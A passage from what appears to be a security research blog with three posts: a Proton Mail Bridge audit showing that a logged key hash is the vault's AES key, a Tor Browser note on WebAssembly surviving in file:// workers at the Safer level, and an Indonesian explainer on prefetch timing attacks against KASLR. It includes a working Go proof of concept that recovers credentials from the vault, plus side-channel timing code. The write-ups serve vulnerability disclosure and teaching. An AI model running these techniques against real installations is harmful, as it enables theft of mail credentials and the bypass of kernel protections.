separate observation, noted in section 9, and it is not what this post is about. Decryption is the mirror image: ```go // internal/vault/types_file.go:34 func unmarshalFile[T any](gcm cipher.AEAD, b []byte, data *T) error { var f File if err := msgpack.Unmarshal(b, &f); err != nil { return fmt.Errorf("%w: %v", ErrUnmarshal, err) } dec, err := gcm.Open(nil, f.Data[:gcm.NonceSize()], f.Data[gcm.NonceSize():], nil) if err != nil { return fmt.Errorf("%w: %v", ErrDecryptFailed, err) } // ... } ``` Two things matter for the exploit. First, the nonce is stored *inside* the sealed blob, so an attacker does not need to know it. Second, `gcm.Open` is the only integrity check: if the key is wrong, it returns `ErrDecryptFailed` and nothing is returned. There is no fallback path and no partial decryption. ### 2.3 What is inside the vault `internal/vault/types_data.go` defines the plaintext structure: ```go // internal/vault/types_data.go:24 type Data struct { Settings Settings Users []UserData Cookies []byte Certs Certs Migrated bool FeatureFlagStickyKey uuid.UUID } ``` And `UserData`, from `internal/vault/types_user.go:19`, is where the sensitive material lives: ```go // internal/vault/types_user.go:19 type UserData struct { UserID string Username string PrimaryEmail string GluonKey []byte GluonIDs map[string]string BridgePass []byte AddressMode AddressMode AuthUID string AuthRef string KeyPass []byte SyncStatus SyncStatus EventID string UIDValidity map[string]imap.UID ShouldResync bool } ``` Every field here is worth something to an attacker. The three that matter most: | Field | Consumer | What it is | |---|---|---| | `AuthRef` | `internal/bridge/user.go:460` `api.NewClientWithRefresh(...)` | Proton API refresh token | | `KeyPass` | `internal/bridge/user.go:396` `salts.SaltForKey(...)` then `apiUser.Keys.Unlock(...)` | passphrase that unlocks the account primary key | | `BridgePass` | `internal/services/useridentity/state.go:240` `subtle.ConstantTimeCompare(...)` | the IMAP/SMTP local login credential | `BridgePass` is the most self-contained of the three. It is the password the user types into their mail client to authenticate to Bridge's local IMAP listener, and it is compared with a constant-time compare in `CheckAuth`. Recovering it yields the plaintext mailbox with no involvement of Proton's API at all. ### 2.4 Where the key comes from `internal/vault/helper.go` is a thin wrapper over the OS keychain: ```go // internal/vault/helper.go:29 const vaultSecretName = "bridge-vault-key" ``` Reading it back on start: ```go // internal/vault/helper.go:107 func GetVaultKey(kc *keychain.Keychain) ([]byte, error) { _, keyEnc, err := kc.Get(vaultSecretName) if err != nil { return nil, fmt.Errorf("could not get keychain item: %w", err) } keyDec, err := base64.StdEncoding.DecodeString(keyEnc) if err != nil { return nil, fmt.Errorf("could not decode keychain item: %w", err) } return keyDec, nil } ``` and generating it on first run: ```go // internal/vault/helper.go:125 func NewVaultKey(kc *keychain.Keychain) ([]byte, error) { tok, err := crypto.RandomToken(32) if err != nil { return nil, fmt.Errorf("could not generate random token: %w", err) } if err := kc.Put(vaultSecretName, base64.StdEncoding.EncodeToString(tok)); err != nil { return nil, fmt.Errorf("could not put keychain item: %w", err) } return tok, nil } ``` The key is generated once, stored under the name `bridge-vault-key`, and read back on every start. It is stable for the life of the installation. It rotates only if the keychain item is deleted, or after `MaxFailedKeychainAttemptsLinux` (2) consecutive failures force a vault reset (`pkg/keychain/keychain.go:44`). This stability matters, and it is what makes the log disclosure durable. It is covered experimentally in section 7. ## 3. The logging pipeline Before looking at the log line itself, it is worth understanding how Bridge's logging is wired, because the line is emitted on every start with no flags and no non-default configuration. ### 3.1 Initialization `internal/app/app.go:422` calls `logging.Init` with the value of the `--log-level` flag: ```go // internal/app/app.go:422 if closer, err = logging.Init( logsPath, sessionID, logging.BridgeShortAppName, logging.DefaultMaxLogFileSize, logging.DefaultPruningSize, c.String(flagLogLevel), ); err != nil { ``` That flag is declared at `internal/app/app.go:144` with no `Value:` field: ```go &cli.StringFlag{ Name: flagLogLevel, Aliases: []string{flagLogLevelShort}, Usage: "Set the log level (one of panic, fatal, error, warn, info, debug)", }, ``` So on a default installation `c.String(flagLogLevel)` returns the empty string. ### 3.2 Level resolution `internal/logging/logging.go:187` handles that: ```go // internal/logging/logging.go:187 func setLevel(level string) error { if level == "" { level = "debug" } logLevel, err := logrus.ParseLevel(level) if err != nil { return err } logrus.SetLevel(logLevel) // ... } ``` In logrus, `Info` (4) is at or above `Debug` (5), so an `Info` call is emitted. ### 3.3 Output destination `internal/logging/logging.go:109` is unconditional: ```go // internal/logging/logging.go:109 logrus.SetOutput(rotator) ``` The rotating file writer is always installed. Only `Trace` level diverts to stderr (`logging.go:201`). So the log file is written on every start, regardless of any flag. ### 3.4 File creation and permissions `internal/logging/rotator.go:40` creates each log file: ```go // internal/logging/rotator.go:40 func defaultFileProvider(logsPath string, sessionID SessionID, appName AppName) FileProvider { return func(index int) (io.WriteCloser, error) { return os.Create(filepath.Join(logsPath, fmt.Sprintf("%v_%v_%03d_v%v_%v.log", sessionID, appName, index, constants.Version, constants.Tag), )) } } ``` `os.Create` uses mode `0666` before the umask. Under the default umask of `022` that is `0644`: world-readable. The resulting layout on a default Linux install: ```text ~/.local/share/protonmail/bridge-v3/logs/_bri_000_v_.log drwx------ .../protonmail/bridge-v3/logs -rw-r--r-- .../logs/20260927_120000000_bri_000_v0.0.0_.log -rw------- ~/.config/protonmail/bridge-v3/vault.enc ``` The log file is more permissive than the file it protects. That is the whole attack surface in one line. ## 4. The log line `internal/app/vault.go` is where the vault key is loaded and the vault is constructed. The success branch of `newVault`: ```go // internal/app/vault.go:112 } else { vaultKey = key lastUsedHelper = helper logHashedVaultKey(vaultKey) // Log a hash of the vault key. } ``` which then goes straight into the vault constructor: ```go // internal/app/vault.go:123 userVault, corrupt, err := vault.New(vaultDir, gluonCacheDir, vaultKey, panicHandler) ``` And the function it calls: ```go // internal/app/vault.go:213 // logHashedVaultKey - computes a sha256 hash and encodes it to base 64. The resulting string is logged. func logHashedVaultKey(vaultKey []byte) { hashedKey := sha256.Sum256(vaultKey) logrus.WithField("hashedKey", hex.EncodeToString(hashedKey[:])).Info("Found vault key") } ``` Compare the two SHA-256 computations. Key derivation first: ```go // internal/vault/vault.go:64 (key derivation) hash256 := sha256.Sum256(key) aes, err := aes.NewCipher(hash256[:]) ``` then logging, eleven thousand lines away: ```go // internal/app/vault.go:215 (logging) hashedKey := sha256.Sum256(vaultKey) ``` Same input. Same function. Same output. One side uses it as an AES-256 key. The other side hex-encodes it and writes it to a world-readable file. The value in the log is not a fingerprint of the key. It is the key. The comment on the function says "computes a sha256 hash and encodes it to base 64", which is wrong twice over: the code uses hex, not base 64, and the result is not a hash in the protective sense. The commit that introduced it is unambiguous about intent: ```text commit 899d3293bcfd2ff6a8e28dba7b8bbf4703b7d3d7 feat(BRIDGE-324): added a log entry for the vault key hash ``` The intent was a non-secret identifier for support correlation. The implementation discloses the key, because SHA-256 is simultaneously this codebase's key derivation function. The two uses of the same primitive collide, and nothing in the code distinguishes them. ![](./gambar.png) ## 5. The attack The full chain, from a log file to plaintext credentials: ```text read ~/.local/share/protonmail/bridge-v3/logs/_bri_*.log (0644) -> regex hashedKey="([0-9a-f]{64})" -> hex decode to 32 bytes -> aes.NewCipher(those 32 bytes) == vault.go:64 -> cipher.NewGCM -> gcm.Open(vault.enc) -> msgpack.Unmarshal -> AuthUID, AuthRef, KeyPass, BridgePass, GluonKey, Bridge TLS key material ``` No keychain access. No Proton API. No network position. No user interaction. One file read. ## 6. Experiment 1: cross-user access The first question to answer is whether this crosses a user boundary. It does not, and it is worth showing the measurement rather than asserting it. No passwordless sudo was available in the test environment, so I used Linux user namespaces (`unshare --map-auto`, with the subuid range `b4r:100000:65536`) to obtain genuinely distinct UIDs with real kernel permission checks. Victim is uid 1000, attacker is uid 1001. The artifacts were created by the real `internal/logging` and `internal/vault` packages, not by a mock. ```text victim home, mode 0755 (typical desktop) drwx------ .local drwx------ share drwx------ protonmail drwx------ bridge-v3 drwx------ logs -rw-r--r-- 20260927_120000000_bri_000_v0.0.0_.log -rw------- ~/.config/protonmail/bridge-v3/vault.enc ``` Attacker at uid 1001, every stage: ```text ls .../home/.local BLOCKED rc=2 Permission denied ls .../home/.local/share BLOCKED rc=2 ls .../protonmail BLOCKED rc=2 ls .../bridge-v3 BLOCKED rc=2 ls .../logs BLOCKED rc=2 cat BLOCKED rc=1 cat .../vault.enc BLOCKED rc=1 ``` Seven of seven blocked. The control, the same uid as the victim, reads the line without difficulty: ```text level="info" msg="Found vault key" hashedKey="610e275f667d85d7c636221d2aae135ee96637c24cc639dc6b3af007b7d70de1" ``` The parent directory is `0700` (`internal/locations/locations.go:169` and `internal/locations/provider.go:63`), and that is what stops traversal. This is not a cross-user vulnerability, and I am not claiming one. I also checked whether an upgrade could leave a looser directory behind. `os.MkdirAll` does not repair a pre-existing directory, so a `0755` logs directory would stay `0755`. But I enumerated every commit that has ever touched that line: ```text 2020-11-23 .. 2022-04-05 MkdirAll(l.getLogsPath(), 0700) (11 commits) 2022-05-31 .. 2026-03-17 MkdirAll(l.getLogsPath(), 0o700) (29 commits) ``` Only the Go notation changed. It has never been looser than `0700`, so no shipped version produces that state. ## 7. Experiment 2: key persistence The second question is durability. If the key rotated on every start, the log disclosure would be short-lived. It does not. I ran four consecutive starts against a persistent keychain entry, mirroring `internal/vault/helper.go:29` (`vaultSecretName = "bridge-vault-key"`), `GetVaultKey` (read) and `NewVaultKey` (generate and store): ```text START 1 no item -> generated NEW key START 2 retrieved EXISTING key START 3 retrieved EXISTING key START 4 retrieved EXISTING key grep hashedKey across all four log files: 4 hashedKey="9d5c5aac6af7e980aaf4eb39cfe97fb5c508ba8c8a85768bbc3bb66965c40ce2" (one unique value) ``` Then the decisive test: take the *oldest* log, from start 1, and use it against the vault written by the most recent start. ```text ATTACKER key from OLD log: 9d5c5aac6af7e980aaf4eb39cfe97fb5c508ba8c8a85768bbc3bb66965c40ce2 ATTACKER DECRYPT: SUCCESS UserID=victim-user-0001 AuthUID=uid-victim AuthRef=SYNTHETIC-AUTHREF-A KeyPass=SYNTHETIC-KEYPASS-A ``` The key is stable because it is stored as bytes under a name in the keychain. A log from months ago still decrypts today's vault. The exposure is bounded, not permanent. Log pruning is `DefaultPruningSize = 200 MB` (`internal/logging/pruning.go:33`), after which the oldest sessions are deleted. At realistic log volumes that is a long time, but it is not unbounded. ## 8. Experiment 3: the decrypt The proof of concept uses the real `internal/vault` package to create the vault, and a separate decryptor that uses only the value taken from the log. All values are synthetic. ```go package vault_test import ( "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/sha256" "encoding/hex" "fmt" "os" "path/filepath" "regexp" "testing" "github.com/ProtonMail/proton-bridge/v3/internal/vault" "github.com/vmihailenco/msgpack/v5" ) func TestVaultKeyRecoverableFromLog(t *testing.T) { root := t.TempDir() vaultDir := filepath.Join(root, "vault") rawKey := make([]byte, 32) // stands in for the keychain value rand.Read(rawKey) v, _, err := vault.New(vaultDir, filepath.Join(root, "gluon"), rawKey, nil) if err != nil { t.Fatal(err) } v.AddUser("victim-user-0001", "victim@proton.me", "victim@proton.me", "uid-victim", "SYNTHETIC-AUTHREF-11111111", []byte("SYNTHETIC-KEYPASS-22222222")) v.Close() // what internal/app/vault.go:214-216 writes h := sha256.Sum256(rawKey) logLine := fmt.Sprintf("level=info msg=\"Found vault key\" hashedKey=%x\n", h) os.WriteFile(filepath.Join(root, "bridge.log"), []byte(logLine), 0644) // attacker side: the only input is the log file b, _ := os.ReadFile(filepath.Join(root, "bridge.log")) m := regexp.MustCompile(`hashedKey=([0-9a-f]{64})`).FindSubmatch(b) key := make([]byte, 32) hex.Decode(key, m[1]) enc, _ := os.ReadFile(filepath.Join(vaultDir, "vault.enc")) var f vault.File msgpack.Unmarshal(enc, &f) blk, _ := aes.NewCipher(key) // key comes from the log gcm, _ := cipher.NewGCM(blk) plain, err := gcm.Open(nil, f.Data[:gcm.NonceSize()], f.Data[gcm.NonceSize():], nil) if err != nil { t.Fatalf("decrypt failed: %v", err) } var data vault.Data msgpack.Unmarshal(plain, &data) for _, u := range data.Users { t.Logf("AuthUID=%s AuthRef=%s KeyPass=%s", u.AuthUID, u.AuthRef, string(u.KeyPass)) } } ``` Run it: ```text $ go test ./internal/vault/ -run TestVaultKeyRecoverableFromLog -v === RUN TestVaultKeyRecoverableFromLog level=info msg="Adding vault user" userID=victim-user-0001 zz_poc_test.go:61: AuthUID=uid-victim AuthRef=SYNTHETIC-AUTHREF-11111111 KeyPass=SYNTHETIC-KEYPASS-22222222 --- PASS: TestVaultKeyRecoverableFromLog (0.09s) PASS ``` The decryptor is deliberately independent of `internal/vault`. It rebuilds the AEAD from the log string and unpacks the on-disk format by hand, so the result cannot be an artefact of the code under test. The test fails at `gcm.Open` with `decrypt failed` if the log-derived value is wrong. One note on fidelity. `internal/app` does not compile in this environment because it transitively requires cgo and libfido2, so I could not call the unexported `logHashedVaultKey` directly. I used the real `internal/logging` package to produce the log file, and reproduced the three-line body of `logHashedVaultKey` verbatim. The claim under test is about the value of that expression, not about logrus formatting. ## 9. The bug report path There is one egress path for the logs, and it is worth documenting precisely. `internal/bridge/bug_report.go:95`: ```go func (bridge *Bridge) CollectLogs() (proton.ReportBugAttachment, error) { logsPath, err := bridge.locator.ProvideLogsPath() if err != nil { return proton.ReportBugAttachment{}, err } buffer, err := logging.ZipLogsForBugReport(logsPath, DefaultMaxSessionCountForBugReport, DefaultMaxBugReportZipSize) // ... } ``` The chain from the UI: ```text BugReportView.qml:46 Backend.reportBug(..., includeLogs.checked) BugReportView.qml:144 `CheckBox { id: includeLogs; checked: true }` BugReportView.qml:41 includeLogs.checked = true; // re-forced on open -> gRPC Service.ReportBug (service_methods.go:369) -> bridge.ReportBug{IncludeLogs: report.IncludeLogs} -> bug_report.go:59 if report.IncludeLogs { bridge.CollectLogs() } -> ZipLogsForBugReport(logsPath, 10 sessions, 7 MB) -> createTicket -> bridge.api.ReportBug(...) ``` Two things stand out. The attachment is enabled by default: the checkbox starts checked and is set again when the view opens. And the destination is Proton's own support API, not an arbitrary third party. This is not automatic exfiltration. It requires the user to submit a bug report. But it is the one path by which the key leaves the machine, and the user is not informed that "include my logs" means "include the decryption key for every mail account on this Bridge". I checked whether the key is uploaded anywhere without user action. It is not. There is no logrus-to-Sentry hook anywhere in the tree: no `AddHook`, no `Levels()`, no `Fire()` in `internal/sentry` or `internal/app`. The `DebugWriter` in `internal/sentry/reporter.go:60` runs in the opposite direction, Sentry's own logs into logrus. The only Sentry call near the vault (`internal/app/vault.go:95`) passes `keychainDefaultHelper`, `keychainUsableHelpersLength`, and `error`. Not the key. ## 10. What this is not Being precise about the limits is what makes the rest of the analysis credible. **Not a cross-user vulnerability.** Measured in section 6. The `0700` parent directory blocks traversal at every stage. **Not a keychain privilege escalation.** `pkg/keychain` contains no ACL, no UID check, no PID check, and no peer credential verification. `Keychain.Get` is a plain lookup by name: ```go // pkg/keychain/keychain.go:212 func (kc *Keychain) Get(userID string) (string, string, error) { kc.locker.Lock() defer kc.locker.Unlock() id, key, err := kc.helper.Get(kc.secretURL(userID)) // ... } ``` On Linux the available helpers are raw D-Bus Secret Service and `pass`. A process running as the same user can generally read the vault key from the keychain directly. Writing it to a log file gives that attacker nothing new. This is the reason the severity is Medium and not higher. **Not OS-wide certificate trust.** The Bridge CA is issued with `CommonName: "127.0.0.1"` and `IPAddresses: [127.0.0.1]` (`internal/certs/tls.go:44`), and on Linux `installCert` is a no-op (`internal/certs/cert_store_linux.go:20`). Leaf certificates minted from the recovered key would be valid for `127.0.0.1` only, which is unreachable off-host. I did not test the macOS keychain path. **Not a proven account takeover.** `AuthRef` is a refresh token consumed by `api.NewClientWithRefresh` at `internal/bridge/user.go:460`. I did not exercise it against a live Proton account and make no claim about what it grants. The claim here is recovery of authentication material, which is already a complete impact statement. **Not permanent.** Bounded by 200 MB of log pruning. **Not a Bridge-created backup.** The only backup in the tree is of the application bundle during update (`internal/updater/sync.go:32`). Nothing archives `vault.enc` together with the logs. **Not tested on macOS or Windows.** On those platforms `os.MkdirAll(..., 0o700)` does not set POSIX modes and Windows relies on inherited ACLs, which I did not verify. ## 11. Conclusion This is a one-line defect with a clear intent mismatch, in the highest-value asset in the application, present since v3.20.0 and still in master. The shape of it is worth remembering. SHA-256 is used twice on the same input: once as a key derivation step, once as a diagnostic fingerprint. Both uses are individually reasonable. The collision between them is not, and nothing in the code distinguishes a value that must be secret from a value that is safe to publish. The general lesson is that a KDF output is not a fingerprint. If a codebase derives a key by hashing a secret, then that hash is the key, and logging it is key disclosure regardless of what the log line is named.

tor browser safer leaks wasm into file:// workers

b4r — Tue, 29 Sep 2026 00:00:00 GMT

## TL;DR I audited Tor Browser 15.0.23 for one narrow question: if the top page has no WebAssembly at Safer, is there another realm from the same page that still has it? Short answer: **yes for a local `file://` Dedicated Worker, no for a normal `https://` website.** So this is a research note, not a remote bounty finding. ## Locked target - Tor Browser Desktop 15.0.23 on Linux x86_64 - Firefox 140.16.0esr, BuildID 20260914100000 - SourceStamp ca2da456d746c357ef0f382c06e46e2184e5c923 - Bundled NoScript 13.6.33.1984 - Safer `security_slider=2`, Standard slider=4 as control - Stock profile, no source edits, no odd prefs I used the two recent Wasm fixes as templates: 45296 (SharedWorker identity mismatch) and 45297 (missing `setHTMLUnsafe` hook). Both are about a realm at Safer that keeps Wasm because a hook missed it. I looked for the same pattern in sibling paths. ## Why Wasm at Safer matters in Tor Stock Firefox allows Wasm everywhere. Tor Browser 15 forces it on globally: ```javascript "javascript.options.wasm": [, true, true, true, true], ``` The comment in `SecurityLevel.sys.mjs` says Wasm is now handled by NoScript. The Safer policy for a normal site has `script` but no `wasm` cap. So the invariant is plain: **at Safer, the page and every script realm born from it should have no WebAssembly.** NoScript enforces that by deleting the object, not only by blocking network. ## How NoScript deletes Wasm Two paths in `nscl`. Window path in `nscl/content/WasmHook.js` (around lines 77 to 105): ```javascript Reflect.deleteProperty(globalThis, "WebAssembly"); patchWorkers(`(${workersPatch})()...`); ``` `workersPatch` is the worker deletion payload. Registration lives in `nscl/content/patchWorkers.js`: ```javascript const joinPatches = () => wrap([...patches].join("\n")); patches.add(stringify(patch)); ``` Worker path in `nscl/main/patchWorkers.main.js` in `handlePatch`: - `data:` and `blob:` get inline treatment. Code is fetched with sync XHR in `loadWorkerSrc`, then the current `getPatch` payload is prepended, then a new blob or data URL is built. Same global, already cleaned before attacker code runs. - Anything else is treated as remote. Code posts `patchUrl` to background and waits for `patchedUrl` or `cancelUrl` through `failSafe`. Remote patch lives in `service/patchWorkers.js` (around lines 101 to 169): ```javascript urls: [""], types: ["script"], if (name == "Sec-Fetch-Dest") { if (!/work(er|let)/.test(value)) { return; } } let filter = browser.webRequest.filterResponseData(requestId); filter.write(new TextEncoder().encode(patchInfo.patch)); ``` So the remote patch only runs when the worker fetch carries `Sec-Fetch-Dest: worker`, `sharedworker`, `serviceworker`, or `worklet`. No header means early return and no patch. ## The file:// gap A `file://` worker URL is not `data:` or `blob:`, so it goes down the remote path. But a `file://` fetch has no HTTP headers, so no `Sec-Fetch-Dest`. The filter returns before injecting anything. I proved it live in stock Tor Browser headless at Safer, with two files in one folder. `file-worker.js`: ```javascript (async()=>{ const t = typeof WebAssembly; let compiled = false; let err = ""; try{ if(globalThis.WebAssembly && WebAssembly.compile){ const bytes = new Uint8Array([0,97,115,109,1,0,0,0]); const m = await WebAssembly.compile(bytes); compiled = !!m; } }catch(e){ err = String(e).slice(0,100); } postMessage({t, compiled, err}); })(); ``` `file-remote-worker.html`: ```html

``` Safer `file://`, 6 of 6 runs: ```text top: undefined BLOCKED worker t: object compiled:true ``` Standard `file://` control: ```text top: object ALLOWED worker t: object compiled:true ``` Standard shows no violation because both sides may have Wasm. Safer shows the violation because top is cleaned and the worker is not. `SharedWorker('file://...')` threw in my runs, so the repro is Dedicated Worker only. ## The test that decides bounty eligibility: https:// equivalent worker A local file PoC is not the same as a website exploit. I needed a real Tor connected secure origin I fully control, with both `index.html` and `worker.js` same origin. I used a local onion service: - Local HTTP server on 127.0.0.1:8899 serving the PoC folder - Separate Tor daemon publishing an ephemeral onion `Port=80,127.0.0.1:8899` - Tor Browser stock proxy 127.0.0.1:9150 forwarded to real system Tor - No custom proxy prefs, no source edits Onion `http:` counts as secure like `https:` in NoScript through `Sites.parse`, so the Wasm policy matches a normal `https:` site at Safer: script allowed, Wasm not. `index.html` on onion: ```html

``` `worker.js` on onion: ```javascript (async()=>{ const t = typeof WebAssembly; const bytes = new Uint8Array([0,97,115,109,1,0,0,0]); let compiled = false; try{ const m = await WebAssembly.compile(bytes); compiled = !!m; }catch(_){} postMessage({wasmType: t, compiled}); })(); ``` Safer onion over real Tor: ```text top origin http://zhrj46...onion top typeof WebAssembly: undefined worker wasmType=undefined compiled=false ``` Standard onion control: ```text top typeof WebAssembly: object worker wasmType=object compiled=true ``` Server log for both runs: ```text PATH=/index.html Sec-Fetch-Dest=document Sec-Fetch-Mode=navigate PATH=/worker.js Sec-Fetch-Dest=worker Sec-Fetch-Mode=same-origin ``` That log matters. It proves the `https://` equivalent worker fetch carries the worker dest, so it hits the `filterResponseData` path. The worker is cleaned. No bypass. ## Every https:// to file:// bridge I tried was rejected From an `http://127.0.0.1:8899` top as a stand-in for scheme and same-origin logic: - `new Worker('file:///...')`: throw worker error - `new SharedWorker('file:///...')`: throw - `new Worker('/redirect-file')` with 302 to `file://`: throw, and the first fetch still logged `Sec-Fetch-Dest=worker` - Blob worker `importScripts('file:///...')`: SecurityError inside worker - Blob worker spawning sub `Worker('file:///...')`: timeout with no Wasm message - `import('file:///...')`: throw TypeError - `Worker('chrome://...')`, `resource://`, `moz-extension://`, `about:blank`, `javascript:...`, `view-source:...`: all throw - `audioWorklet.addModule('file:///...')`: throw AbortError `blob:` and `data:` workers on a warm Safer profile stayed blocked because the inline patch still carries the deletion. Shadow DOM iframes were invisible to `window.length` and not observed, but the child content script still removed Wasm for `srcdoc`, `data:`, and `blob:` in my runs. No stable steal there. ## Honest close - Technical bug is real: a `file://` Dedicated Worker at Safer keeps working `WebAssembly.compile` while the top page does not. Root cause is the header-gated filter plus inline handling limited to `data:` and `blob:`. - Remote bounty is not made: a normal `https://` attacker has no shown path to that `file://` realm, and live `https://` equivalent workers are patched with headers present. - Right status is HOLD as a local file note, DROP as a web attacker finding. - Sensible fix in one line: handle `file:` workers with the same inline prepend used for `blob:` and `data:`, or refuse `file:` workers at Safer if local workers are out of scope. I keep this as research because the method transfers: lock the version, prove top blocked, prove worker compiled, prove the Standard control, prove the headers, test bridges until one breaks or all reject, then stop and label what was not proved.

prefetch attacks

b4r — Thu, 24 Sep 2026 00:00:00 GMT

## fun fact i wrote this blog at `02:32 AM` lol xD, idk im bored so i decided to make this post about the research ## ASLR ASLR merupakan singkatan dari [Address Space Layout Randomization](https://en.wikipedia.org/wiki/Address_space_layout_randomization), yaitu teknik yang digunakan oleh sistem operasi untuk mengamankan proses di user space terhadap eksploitasi dengan _memory corruption_. Ini dicapai dengan meletakkan alamat kode atau data pada sebuah proses di lokasi yang acak, sehingga seorang penyerang tidak tau dimana letaknya yang pasti. Pada sistem operasi modern seperti Linux, Windows, dan MacOS, letak alamat pada kernel juga diacak. Hal ini disebut dengan [KASLR](https://lwn.net/Articles/569635/) (Kernel Address Space Layout Randomization). Linux sendiri sudah menggunakan KASLR sejak 2014. Untuk mempermudah, blog ini akan menggunakan sistem operasi Linux (di x86), tetapi hal yang dipelajari mungkin dapat diterapkan di sistem lain. Cara kerja ASLR (dan KASLR) adalah dengan mengacak lokasi dasar dari sebuah bagian memori. Jika bagian memori tersebut sebesar N _page_ (1 _page_ adalah 4096 byte pada sebagian besar sistem operasi), maka N _page_ tersebut akan selalu berurutan, tetapi alamat dasarnya akan diacak. Sebagai contoh, jika sebuah proses membutuhkan sebesar 10 _page_, maka Linux akan memilih secara acak lokasi untuk _page_ pertama, lalu menempatkan _page_ sisanya berdasarkan urutan yang dibutuhkan proses tersebut. Hal ini mempermudah dan mempercepat penerapan ASLR, sehingga tidak melambatkan performa sistem terlalu drastis. Terdapat berbagai cara untuk mengalahkan ASLR, yang paling sering digunakan adalah mendapatkan alamat dari satu lokasi pada sebuah bagian memori (sering disebut _leak_ (bocoran)). Dikarenakan ASLR menempatkan semua page pada sebuah bagian memori sesuai dengan urutan yang dibutuhkan proses tersebut, maka dengan menambahkan atau mengurangi _leak_ tersebut dengan nilai konstan, maka kita bisa mendapatkan alamat bagian kode manapun. > Catatan: Ini merupakan trik yang sangat basic yang digunakan di dunia *binary exploitation*, dan dapat dipelajari dengan menyelesaikan soal CTF yang simpel. KASLR bersifat sama. Ketika komputer dinyalakan, sistem akan menempatkan beberapa bagian memori kernel pada lokasi tertentu. Sebagai catatan di (Linux) kernel terdapat berbagai bagian memori yang berbeda. Tujuan masing-masing bagian tersebut diluar cakupan blog ini, tapi garis besarnya dapat dilihat [disini](https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt). Jadi, ketika ingin mengalahkan KASLR untuk bagian _kernel text_, kita mesti mendapatkan _leak_ dari salah satu alamat di _kernel text_. Setelah itu, dengan menambakan atau mengurangi _leak_ tersebut, maka seluruh _kernel text_ dapat diketahui. Biasanya, sebuah _leak_ didapatkan dengan sebuah bug pada kernel. Contohnya adalah [CVE-2024-26816](https://nvd.nist.gov/vuln/detail/CVE-2024-26816). Akan tetapi, di blog ini kita bakal melihat sebuah “bug” pada CPU, khususnya CPU Intel dan AMD (x86). ## Prefetch Kalo diperhatikan, komputer zaman sekarang sudah luar biasa kencang. Alasan terbesar adalah kemajuan pada pembuatan komponen komputer, tapi alasan lain ada pada desain komponennya. Pada CPU sendiri, konsep seperti [pipelining](https://en.wikipedia.org/wiki/Instruction_pipelining) dan [caching](https://en.wikipedia.org/wiki/CPU_cache) sangat membantu untuk meningkatkan performa CPU. Selain itu, terdapat berbagai trik pada level perangkat lunak yang dapat digunakan untuk meningkatkan performa. Salah satunya adalah menggunakan *instruction set* yang lebih kompleks seperti *instruction set* AVX, yang dapat melakukan komputasi dengan ukuran *register* yang lebih besar dalam satu instruksi. Yang ingin kita dalami adalah instruksi [PREFETCHh](https://www.felixcloutier.com/x86/prefetchh). Ini merupakan instruksi yang membantu meningkatkan performa dengan cara mengambil data dari memori dan menyimpannya di _cache_ sebelum dilakukan instruksi _load_ beneran. Cara kerjanya berbeda2 untuk masing-masing CPU, dan pembahasan mengenai cara _prefetch_ diimplementasikan diluar cakupan blog ini (Ini sebenarnya alasan saja karena saya pun tidak ngerti). Yang menarik dari instruksi _PREFETCHh_ adalah ketiadaan pengecekan _privilege level_. Artinya, user biasa (_unprivileged user_) dapat melakukan _prefetch_ pada alamat memory manapun, termasuk alamat memori kernel*. Ini bukan berarti data yang terdapat pada memori kernel dapat diakses (catatan: Meltdown & Spectre), tapi memori tersebut tetap akan diambil dan disimpan di cache CPU. Level cachenya bergantung pada variasi _prefetch_ yang kita lakukan, dan perbedaan diluar cakupan blog ini. > Coba berpikir untuk sejenak mengenai paragraf sebelumnya. Seorang _unprivileged user_ bisa _prefetch_ alamat kernel, tapi ngga bisa diakses. Bagaimana bisa leak alamat kernel kalau ngga bisa diakses? *Jika KPTI hidup, alamat memori kernel juga tidak dapat dilakukan _prefetch_. Pengecualikan ada pada [CVE-2022-4543](https://www.willsroot.io/2022/12/entrybleed.html) ## Sidechannel Kita bisa menggunakan sebuah teknik bernama *sidechannel* untuk mendapatkan *leak* alamat memori kernel. Menurut riset dari [Gruss et.al](https://gruss.cc/files/prefetch.pdf), kita bisa mengukur waktu yang dibutuhkan untuk *prefetch* sebuah alamat memori kernel. Sebuah alamat memori yang valid akan berhasil dilakukan *prefetch*, sedangkan alamat memori yang invalid tidak akan berhasil. Oleh karena itu, jika dilakukan *prefetch* beberapa kali pada alamat yang sama, alamat memori yang valid membutuhkan **waktu yang lebih singkat**, disebabkan alamat memori tersebut sudah tersimpan pada cache CPU. Jadi, kita bisa mencoba seluruh kemungkinan kernel address (di x86, area .text hanya ada [512 kemungkinan!](https://github.com/torvalds/linux/blob/9702969978695d9a699a1f34771580cdbb153b33/arch/x86/Kconfig#L2108)) dan melakukan *prefetch* pada alamat tersebut. Alamat yang valid akan berhasil di *prefetch*, dan waktu yang dibutuhkan akan lebih singkat dibanding alamat yang tidak valid. Secara singkat, pengukuran lamanya _prefetch_ dapat dilakukan dengan potongan kode berikut (dari [https://www.willsroot.io/2022/12/entrybleed.html](https://www.willsroot.io/2022/12/entrybleed.html)): ```c uint64_t sidechannel(uint64_t addr) { uint64_t a, b, c, d; asm volatile(".intel_syntax noprefix;" "mfence;" "lfence;" "rdtsc;" "mov %0, rax;" "mov %1, rdx;" "xor rax, rax;" "lfence;" "prefetchnta qword ptr [%4];" "prefetcht2 qword ptr [%4];" "xor rax, rax;" "lfence;" "rdtsc;" "mov %2, rax;" "mov %3, rdx;" "mfence;" ".att_syntax;" : "=r"(a), "=r"(b), "=r"(c), "=r"(d) : "r"(addr) : "rax", "rbx", "rcx", "rdx"); a = (b << 32) | a; c = (d << 32) | c; return c - a; // timing difference } ``` Kode untuk mendapatkan _leak_ alamat memori kernel secara lengkap dapat dicari pada sumber lain, atau menjadi bahan latihan. ## Latihan Coba buat / minta AI untuk buat sebuah challenge CTF, dimana user diberikan cara untuk menjalankan _shellcode_ dan mesti mencari cara untuk membaca flag yang disimpan pada sebuah alamat random. Gunakan _prefetch_ attack buat leak alamat flagnya, lalu cetak flagnya. Terdapat juga challenge di [Dreamhack](https://dreamhack.io/wargame/challenges/1055) dengan konsep yang sama. ## Referensi * [https://gruss.cc/files/prefetch.pdf](https://gruss.cc/files/prefetch.pdf) * [https://www.felixcloutier.com/x86/prefetchh](https://www.felixcloutier.com/x86/prefetchh) * [https://www.willsroot.io/2022/12/entrybleed.html](https://www.willsroot.io/2022/12/entrybleed.html) * [https://u1f383.github.io/linux/2025/01/02/linux-kaslr-entropy.html](https://u1f383.github.io/linux/2025/01/02/linux-kaslr-entropy.html) * 